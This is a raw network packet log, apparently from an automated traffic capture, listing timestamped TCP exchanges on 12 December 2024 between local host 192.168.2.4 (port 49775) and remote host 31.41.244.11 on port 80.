Dec 12, 2024 14:26:18.270397902 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.271655083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.271698952 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.271796942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.271835089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.272965908 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.273020029 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.273430109 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.273479939 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.274295092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.274679899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.274734974 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.275701046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.278279066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.278354883 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.278574944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.278644085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.278717995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.278734922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.278748035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.278760910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.278809071 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.280262947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.280307055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.280422926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.280471087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.281637907 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.281651974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.281703949 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.282533884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.282588005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.283014059 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.283060074 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.283843040 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.283854961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.283893108 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.283911943 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.285305023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.285316944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.285363913 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.286617994 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.286942959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.287002087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.287637949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.287683964 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.287945032 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.287985086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.288846016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.288892984 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.289112091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.289145947 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.290293932 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.290450096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.290498972 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.291691065 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.291745901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.291846991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.291893005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.292887926 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.292928934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.293029070 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.293075085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.294224024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.294370890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.294414043 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.295612097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.295624971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.295674086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.295710087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.296925068 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.297249079 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.297295094 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.298288107 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.298686028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.298742056 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.299489021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.299539089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.299665928 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.299706936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.300767899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.300812006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.301836967 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.302326918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.302371025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.302465916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.302510023 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.303461075 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.303476095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.303529978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.303569078 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.304770947 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.304812908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.426836014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.426851988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.426940918 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.428150892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.428164005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.428205967 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.428240061 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.428416014 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.428436995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.428479910 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.429354906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.429367065 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.429404974 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.429439068 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.430161953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.430176020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.430227041 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.431191921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.431257010 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.431341887 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.431392908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.432161093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.432231903 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.432256937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.432282925 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.433295965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.433603048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.433666945 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.434122086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.434227943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.434273005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.435250044 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.435295105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.435334921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.435379028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.436084986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.436098099 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.436141968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.436156988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.436976910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.437185049 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.437346935 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.437969923 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.438299894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.438344002 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.438963890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.439007998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.439491987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.439539909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.439918041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.439943075 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.439960003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.439980030 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.440933943 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.440977097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.440989971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.441028118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.442080021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.442337036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.442389965 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.443059921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.443072081 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.443128109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.443835020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.443892956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.443938017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.443980932 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.444816113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.444963932 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.444984913 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.445030928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.446193933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.446208954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.446254015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.446808100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.446887016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.446913958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.446957111 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.447762012 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.447824955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.447881937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.448776007 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.448817015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.448844910 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.448884964 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.449752092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.449794054 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.450289011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.450331926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.450771093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.450784922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.450810909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.450849056 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.451766968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.451812029 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.451937914 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.451984882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.452670097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.452826023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.452872992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.453639984 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.453689098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.453691959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.453733921 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.454730034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.454788923 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.454835892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.454909086 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.455681086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.455693960 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.455735922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.455760956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.456599951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.456685066 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.456729889 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.457633018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.457647085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.457674026 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.457710981 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.458579063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.458709955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.458753109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.459551096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.459595919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.459602118 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.459640980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.460673094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.460721016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.460877895 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.460926056 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.461664915 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.461711884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.461893082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.461944103 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.462471962 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.462519884 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.462533951 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.462580919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.463483095 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.463532925 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.463536978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.463577986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.464421034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.464488983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.464546919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.465428114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.465456963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.465522051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.465537071 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.466512918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.466810942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.466877937 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.467662096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.467709064 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.467842102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.467888117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.468485117 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.468527079 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.468570948 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.469336987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.469382048 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.469451904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.469497919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.470346928 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.470397949 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.470583916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.470628977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.471307993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.471355915 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.471504927 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.471549034 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.472423077 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.472470045 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.472470999 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.472515106 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.473505974 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.473535061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.473582029 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.474477053 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.474529028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.474530935 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.474570036 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.475399971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.475411892 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.475445986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.475467920 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.476396084 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.476450920 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.476502895 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.477428913 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.477487087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.477530003 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.477576017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.478674889 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.478818893 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.615854979 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.615911961 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.615964890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.616010904 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.616264105 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.616276979 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.616313934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.616329908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.616976976 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.617023945 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.617063046 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.617100954 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.617984056 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.618031025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.618031025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.618068933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.618999958 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.619133949 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.619302988 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.619338989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.619962931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.620004892 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.620203972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.620256901 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.620961905 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.620974064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.621011972 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.621025085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.621906042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.621953011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.621984959 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.622024059 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.622868061 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.622915030 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.623578072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.623619080 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.624176979 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.624190092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.624212980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.624239922 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.624902010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.624914885 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.624946117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.624958992 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.626019001 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.626032114 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.626064062 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.626080990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.626857996 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.626883984 CET	80	49775	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:18.626903057 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.626916885 CET	49775	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:18.627827883 CET	80	49775	31.41.244.11	192.168.2.4
